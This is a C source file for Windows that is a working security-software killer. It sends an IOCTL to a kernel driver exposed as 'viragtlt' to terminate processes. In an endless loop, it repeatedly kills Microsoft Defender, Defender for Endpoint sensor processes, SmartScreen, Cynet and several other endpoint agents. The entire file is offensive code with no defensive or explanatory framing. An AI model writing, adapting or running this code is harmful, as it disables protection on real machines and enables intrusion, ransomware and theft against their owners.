#include <Windows.h>
#include <TlHelp32.h>
#include <stdio.h>
#include <string.h>

#define IOCTL_CODE 0x82730030  // IOCTL to terminate process
#define DEVICE_PATH L"\\\\.\\viragtlt"  // Symbolic link to the driver

// Structure sent to the driver
struct ProcNameStruct {
    char procName[500];
};

// Function to convert wchar_t* to char*
void WideCharToChar(const wchar_t* wStr, char* cStr, size_t size) {
    size_t converted;
    wcstombs_s(&converted, cStr, size, wStr, _TRUNCATE);
}

// Function to find process by name and get PID
DWORD GetProcessIdByName(const wchar_t* processName) {
    DWORD processId = 0;
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (hSnapshot == INVALID_HANDLE_VALUE) {
        wprintf(L"[-] Failed to create snapshot. Error: %d\n", GetLastError());
        return 0;
    }

    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);

    // Iterate through processes to find target
    if (Process32First(hSnapshot, &pe32)) {
        do {
            if (_wcsicmp(pe32.szExeFile, processName) == 0) {
                processId = pe32.th32ProcessID;
                break;
            }
        } while (Process32Next(hSnapshot, &pe32));
    }

    CloseHandle(hSnapshot);
    return processId;
}

// Function to send IOCTL to driver to kill process
int KillProcessByName(HANDLE hDevice, const wchar_t* processName) {
    struct ProcNameStruct ioctlData;
    ZeroMemory(&ioctlData, sizeof(ioctlData));

    // Convert wide string to narrow string
    WideCharToChar(processName, ioctlData.procName, sizeof(ioctlData.procName) - 1);
    ioctlData.procName[sizeof(ioctlData.procName) - 1] = '\0';

    DWORD bytesReturned = 0;
    BOOL result = DeviceIoControl(
        hDevice,
        IOCTL_CODE,
        &ioctlData,
        sizeof(ioctlData),
        NULL,
        0,
        &bytesReturned,
        NULL
    );

    if (!result) {
        printf("[-] Failed to send IOCTL to kill %s. Error: %d\n", ioctlData.procName, GetLastError());
        return 0;
    }

    printf("[+] Successfully sent IOCTL to kill %s.\n", ioctlData.procName);
    return 1;
}

// Main loop to terminate Defender and MDE processes
int main() {
    wprintf(L"[+] Starting MDE & Defender Killer...\n");

    // Open handle to the driver
    HANDLE hDevice = CreateFileW(
        DEVICE_PATH,
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );

    if (hDevice == INVALID_HANDLE_VALUE) {
        wprintf(L"[-] Failed to open handle to %s. Error: %d\n", DEVICE_PATH, GetLastError());
        return 1;
    }
    wprintf(L"[+] Successfully opened handle to driver.\n");

    // Target processes to terminate
    const wchar_t* targetProcesses[] = { L"MsMpEng.exe", L"CynetMS.exe", L"smartscreen.exe", L"SenseTVM.exe",
        L"SenseNdr.exe", L"SenseIR.exe", L"NisSrv.exe", L"CynetEPS.exe", L"CybergON-Kronk-signed.exe",
        L"elmecagent-updater.exe", L"elmecagent-watchdog.exe"};

    int numProcesses = sizeof(targetProcesses) / sizeof(targetProcesses[0]);

    // Infinite loop to continuously check and kill the processes
    while (1) {
        int foundProcess = 0;

        // Loop over all target processes
        for (int i = 0; i < numProcesses; ++i) {
            const wchar_t* target = targetProcesses[i];
            DWORD pid = GetProcessIdByName(target);

            if (pid != 0) {
                wprintf(L"[+] Found %s with PID: %d\n", target, pid);
                if (KillProcessByName(hDevice, target)) {
                    wprintf(L"[+] Successfully terminated %s.\n", target);
                }
                else {
                    wprintf(L"[-] Failed to terminate %s.\n", target);
                }
                foundProcess = 1;
            }
            else {
                wprintf(L"[-] %s not found.\n", target);
            }
        }

        if (!foundProcess) {
            wprintf(L"[*] No target processes found. Sleeping for 5 seconds...\n");
        }

        // Sleep for 5 seconds before checking again
        Sleep(5000);
    }

    CloseHandle(hDevice);
    return 0;
}